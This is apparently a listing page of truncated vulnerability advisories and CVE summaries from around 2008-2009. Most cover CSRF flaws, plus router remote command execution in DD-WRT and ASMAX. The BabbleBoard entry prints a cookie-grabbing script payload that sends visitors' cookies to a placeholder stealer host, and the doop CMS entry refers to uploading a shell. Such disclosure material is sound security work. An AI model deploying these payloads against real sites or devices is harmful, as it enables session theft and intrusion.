Acc PHP eMail v1.1 - CSRF

No description provided by source. /\ == \ /\ \ /\ \ \ \ \ \ \ \ \ /\ \ \ \ \ \ \ \ // // // 01000010 01101001 01001111 ---------------------------------------------------------------- + Acc PHP eMail v1.1 - CSRF // Author Info x Author: bi0 x Contact: [email protected] x Homepage :...

CVE-2008-7082

CVE-2008-7082 affects MyBB 1.4.3, where the sensitive my_post_key token is exposed in URLs to moderation.php for actions (mergeposts, split, deleteposts). An attacker can read the token from the HTTP Referer header to bypass CSRF protection and hijack a moderator’s session/authentication. The sou...

CVE-2008-7016

tnftpd before 20080929 splits large command strings into multiple commands, which allows remote attackers to conduct cross-site request forgery CSRF attacks via unknown vectors, probably involving a crafted ftp:// link to a tnftpd server...

DD-WRT Remote Root

----------------------------------------------------------------------------------------- A remote root vulnerability in the DD-WRT's httpd service. The bug exists in the latest 24 sp1 version of the firmware. The problem is due to a number of bugs and bad software design decisions. Here is part ...

DD-WRT HTTPd Daemon/Service - Remote Command Execution

This is a remote root vulnerability in DD-WRT's httpd server. The bug exists at the latest 24 sp1 version of the firmware. The problem is due to many bugs and bad software design decisions. Here is part of httpd.c: 859 if containsstringfile, "cgi-bin" 860 861 authfail = 0; 862 if !doauth 863...

Citrix XenCenterWeb (XSS/SQL/RCE) Multiple Remote Vulnerabilities

Exploit for windows platform in category remote exploits ================================================================= Citrix XenCenterWeb XSS/SQL/RCE Multiple Remote Vulnerabilities ================================================================= Secure Network - Security Research Advisory...

ASMAX AR 804 GU Router Command Execution

ASMAX 804 gu router is a SOHO class device. It provides ADSL / WiFi / Ethernet interfaces. 2. There is an unauthenticated maintenance script named 'script' in /cgi-bin/ directory of the web management interface. 3. When 'system' paramether is passed to the script it allows running OS shell...

ASMAX AR 804 gu Web Management Console Arbitrary Shell Command Injection Vulnerability

ASMAX 804 gu router is a SOHO class device. It provides ADSL / WiFi / Ethernet interfaces. 2. There is an unauthenticated maintenance script named 'script' in /cgi-bin/ directory of the web management interface. 3. When 'system' paramether is passed to the script it allows running OS shell...

ASMAX AR 804 gu Web Management Console - Arbitrary Command Execution

ASMAX AR 804 gu Web Management Console - Arbitrary Command Execution 1. ASMAX 804 gu router is a SOHO class device. It provides ADSL / WiFi / Ethernet interfaces. 2. There is an unauthenticated maintenance script named 'script' in /cgi-bin/ directory of the web management interface. 3. When...

ASMAX AR 804 gu Web Management Console - Arbitrary Command Execution

ASMAX 804 gu router is a SOHO class device. It provides ADSL / WiFi / Ethernet interfaces. 2. There is an unauthenticated maintenance script named 'script' in /cgi-bin/ directory of the web management interface. 3. When 'system' paramether is passed to the script it allows running OS shell...

ASMAX AR 804 gu Web Management Console Arbitrary Command Exec

Exploit for hardware platform in category remote exploits ============================================================= ASMAX AR 804 gu Web Management Console Arbitrary Command Exec ============================================================= 1. ASMAX 804 gu router is a SOHO class device. It...

CSRF attack message thrown when JSESSIONID is changed

panel:bgColor=e7f4fa NOTE: This suggestion is for Confluence Cloud. Using Confluence Server? See the corresponding suggestion|http://jira.atlassian.com/browse/CONFSERVER-15779. panel Symptoms: Anything that is using DWR will fail. Meaning: page editor is fully or partially unusable and it may...

CSRF attack message thrown when JSESSIONID is changed

panel:bgColor=e7f4fa NOTE: This suggestion is for Confluence Server. Using Confluence Cloud? See the corresponding suggestion|http://jira.atlassian.com/browse/CONFCLOUD-15779. panel Symptoms: Anything that is using DWR will fail. Meaning: page editor is fully or partially unusable and it may...

CSRF attack message thrown when JSESSIONID is changed

Symptoms: Anything that is using DWR will fail. Meaning: page editor is fully or partially unusable and it may display the text "Draft saving timed out" on top of the text area. At the same time, the following error messages are printed in the Confluence log: noformat 2009-05-15 08:06:36,011 ERRO...

D-Link CAPTCHA Bypass

D-Link Captcha Partially Broken May 12th, 2009 Hack-A-Day reported on D-Link’s new captcha system designed to protect against malware that alters DNS settings by logging in to the router using default administrative credentials. I downloaded the new firmware onto our DIR-628 to take a look, and...

doop CMS 1.4.0b - Cross-Site Request Forgery Arbitrary File Upload

doop CMS 1.4.0b - Cross-Site Request Forgery Arbitrary File Upload -------------------------------------------------------------------------- | Project: Doop document.admin.submit ---------------------------------------------------------------------- -- Upload Shell -- Ok. Una volta nel pannello ...

BabbleBoard 1.1.6 - Cross-Site Request Forgery/Cookie Grabber

BabbleBoard v1.1.6 Cookie Grabber Exploit/CSRF + Discovered By SirGod + Greetz : All my friends + Cookie Grabber Exploit - Steal the cookie of any visitor. 1.Register as : document.location ="http://yourdomain/path/stealer.php?cookie=" + document.cookie; Everyone who visit the index page will be...

PT-2008-6327 · Apple · Cups

Name of the Vulnerable Software and Affected Versions: CUPS versions prior to 1.3.8 Description: The issue allows remote attackers to bypass intended policy and conduct CSRF attacks via the add and cancel RSS subscription functions in the web interface. This occurs because the web interface uses...

CVE-2008-3909

The administration application in Django 0.91, 0.95, and 0.96 stores unauthenticated HTTP POST requests and processes them after successful authentication occurs, which allows remote attackers to conduct cross-site request forgery CSRF attacks and delete or modify data via unspecified requests...

CSRF: don't underestimate my damage and ability to attack-vulnerability warning-the black bar safety net

Author: iceskysl Source: IceskYsl@1sters! CSRF, this attack way, although proposed a long time in the 2 0 0 6 time of year there, but this sleepy attack the giants until recently only gradually into our line of sight, what is CSRF what is that harm in the end how much? Common use is the How to,...